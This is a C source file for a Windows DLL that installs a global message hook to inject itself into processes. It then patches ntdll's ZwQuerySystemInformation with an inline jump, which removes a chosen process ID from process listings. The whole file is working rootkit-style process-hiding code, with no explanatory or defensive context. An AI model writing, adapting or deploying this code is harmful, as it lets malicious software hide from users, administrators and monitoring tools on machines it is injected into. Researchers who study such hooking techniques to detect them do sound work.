1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127
| #include <Windows.h> #include <winternl.h> #define DLL_EXPORT #include "HookZwQuerySystemInformation.h" #pragma data_seg(".Shared") DWORD g_dwProcessIdHide = -1; #pragma data_seg() #pragma comment(linker, "/SECTION:.Shared,RWS")
typedef NTSTATUS(NTAPI* pfnZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
HINSTANCE g_hMod; HHOOK g_hHook; BYTE g_bDataJmp32[5] = { 0 }; BYTE g_bDataJmp64[12] = { 0 };
LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam);
BOOL SetJmp();
BOOL ResetJmp();
NTSTATUS NTAPI HookZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { g_hMod = hModule; SetJmp(); break; }; case DLL_THREAD_ATTACH: {}; case DLL_THREAD_DETACH: { break; }; case DLL_PROCESS_DETACH: { ResetJmp(); break; }; }; return TRUE; };
BOOL InstallHook(int idHook, DWORD dwThreadId, DWORD dwProcessId) { if (!g_hHook) { g_hHook = SetWindowsHookEx(idHook, GetMsgProc, g_hMod, dwThreadId); if (!g_hHook) return FALSE; g_dwProcessIdHide = dwProcessId; }; return TRUE; }; BOOL UninstallHook() { if (g_hHook) if (!UnhookWindowsHookEx(g_hHook)) return FALSE; g_hHook = NULL; return TRUE; };
LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam) { return CallNextHookEx(NULL, nCode, wParam, lParam); }; BOOL SetJmp() { pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL; DWORD dwOldProtect; ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "ZwQuerySystemInformation"); #ifndef _WIN64 BYTE bDataJmp[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 }; *(PINT_PTR)(bDataJmp + 1) = (INT_PTR)HookZwQuerySystemInformation - (INT_PTR)ZwQuerySystemInformation - 5; memcpy_s(g_bDataJmp32, sizeof(g_bDataJmp32), ZwQuerySystemInformation, sizeof(bDataJmp)); #else BYTE bDataJmp[12] = { 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0 }; *(PINT_PTR)(bDataJmp + 2) = (INT_PTR)HookZwQuerySystemInformation; memcpy_s(g_bDataJmp64, sizeof(g_bDataJmp64), ZwQuerySystemInformation, sizeof(bDataJmp)); #endif VirtualProtect(ZwQuerySystemInformation, sizeof(bDataJmp), PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy_s(ZwQuerySystemInformation, sizeof(bDataJmp), bDataJmp, sizeof(bDataJmp)); VirtualProtect(ZwQuerySystemInformation, sizeof(bDataJmp), dwOldProtect, &dwOldProtect); return TRUE; }; BOOL ResetJmp() { pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL; DWORD dwOldProtect; ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "ZwQuerySystemInformation"); #ifndef _WIN64 VirtualProtect(ZwQuerySystemInformation, sizeof(g_bDataJmp32), PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy_s(ZwQuerySystemInformation, sizeof(g_bDataJmp32), g_bDataJmp32, sizeof(g_bDataJmp32)); VirtualProtect(ZwQuerySystemInformation, sizeof(g_bDataJmp32), dwOldProtect, &dwOldProtect); #else VirtualProtect(ZwQuerySystemInformation, sizeof(g_bDataJmp64), PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy_s(ZwQuerySystemInformation, sizeof(g_bDataJmp64), g_bDataJmp64, sizeof(g_bDataJmp64)); VirtualProtect(ZwQuerySystemInformation, sizeof(g_bDataJmp64), dwOldProtect, &dwOldProtect); #endif return TRUE; }; NTSTATUS NTAPI HookZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) { pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL; NTSTATUS status = -1; PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL; ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "ZwQuerySystemInformation"); ResetJmp(); status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && SystemInformationClass == SystemProcessInformation) { pCur = pPrev = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; while (TRUE) { if ((DWORD)pCur->UniqueProcessId == g_dwProcessIdHide) { if (pCur->NextEntryOffset == 0) pPrev->NextEntryOffset = 0; else pPrev->NextEntryOffset += pCur->NextEntryOffset; } else pPrev = pCur; if (pCur->NextEntryOffset == 0) break; pCur = (PSYSTEM_PROCESS_INFORMATION)((LPBYTE)pCur + pCur->NextEntryOffset); }; }; SetJmp(); return status; };
|